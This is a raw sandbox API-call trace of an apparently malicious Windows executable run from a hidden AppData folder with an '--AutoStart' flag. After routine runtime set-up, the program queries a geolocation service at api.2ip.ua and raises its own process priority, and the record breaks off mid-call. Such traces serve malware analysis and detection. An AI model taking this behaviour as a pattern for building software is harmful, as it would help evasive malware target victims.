[0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x24) returned 0x6deb38 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x30) returned 0x6df270 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x8c) returned 0x6e5d80 [0221.662] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6e4a98 | out: hHeap=0x640000) returned 1 [0221.663] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x80) returned 0x6e5e18 [0221.663] GetLastError () returned 0x0 [0221.663] SetLastError (dwErrCode=0x0) [0221.663] GetLastError () returned 0x0 [0221.663] SetLastError (dwErrCode=0x0) [0221.663] GetLastError () returned 0x0 [0221.663] SetLastError (dwErrCode=0x0) [0221.663] GetACP () returned 0x4e4 [0221.663] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x220) returned 0x6e3f88 [0221.663] GetLastError () returned 0x0 [0221.664] SetLastError (dwErrCode=0x0) [0221.664] IsValidCodePage (CodePage=0x4e4) returned 1 [0221.664] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe30 | out: lpCPInfo=0x18fe30) returned 1 [0221.664] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f8f8 | out: lpCPInfo=0x18f8f8) returned 1 [0221.664] GetLastError () returned 0x0 [0221.664] SetLastError (dwErrCode=0x0) [0221.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0221.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f678, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ") returned 256 [0221.664] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ", cchSrc=256, lpCharType=0x18f90c | out: lpCharType=0x18f90c) returned 1 [0221.664] GetLastError () returned 0x0 [0221.664] SetLastError (dwErrCode=0x0) [0221.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0221.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f648, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0221.667] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0221.695] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18f438, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0221.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fc0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xef\xd5\x03\xae\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0221.695] GetLastError () returned 0x0 [0221.696] SetLastError (dwErrCode=0x0) [0221.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0221.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f668, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0221.696] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0221.696] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f458, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0221.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fb0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xef\xd5\x03\xae\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0221.696] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0221.696] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x800) returned 0x6e41b0 [0221.696] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c0d7 [0221.696] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.697] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.700] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.700] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.700] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x110) returned 0x6e5ea0 [0221.701] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.701] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6e27f0 [0221.701] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.701] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.702] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.709] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6e5e18) returned 0x80 [0221.787] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0222.628] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x6d93b0 [0222.628] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0227.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c110, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e910 | out: lpBuffer=0x18c110*, lpdwNumberOfBytesRead=0x18e910*=0x1d1) returned 1 [0227.487] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0227.488] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0227.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x6f09b8 [0227.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1e0) returned 0x703fe8 [0227.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x703fe8 | out: hHeap=0x640000) returned 1 [0227.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f09b8 | out: hHeap=0x640000) returned 1 [0227.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6d93b0 | out: hHeap=0x640000) returned 1 [0227.488] GetCurrentProcess () returned 0xffffffff [0227.488] GetLastError () returned 0x2 [0227.488] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0227.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6fedb0 [0227.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x110) returned 0x3033b08 [0227.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x308dcf8 [0227.488] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x308dcf8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe")) returned 0x5d [0227.488] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff") returned 1 [0227.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x30841f8 [0227.489] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" [0227.492] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart", pNumArgs=0x18e9f0 | out: pNumArgs=0x18e9f0) returned 0x7035e0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" [0227.492] lstrcpyW (in: lpString1=0x18f6a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" [0227.492] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" [0227.492] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart", pNumArgs=0x18e98c | out: pNumArgs=0x18e98c) returned 0x7035e0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" [0227.492] PathFindFileNameW 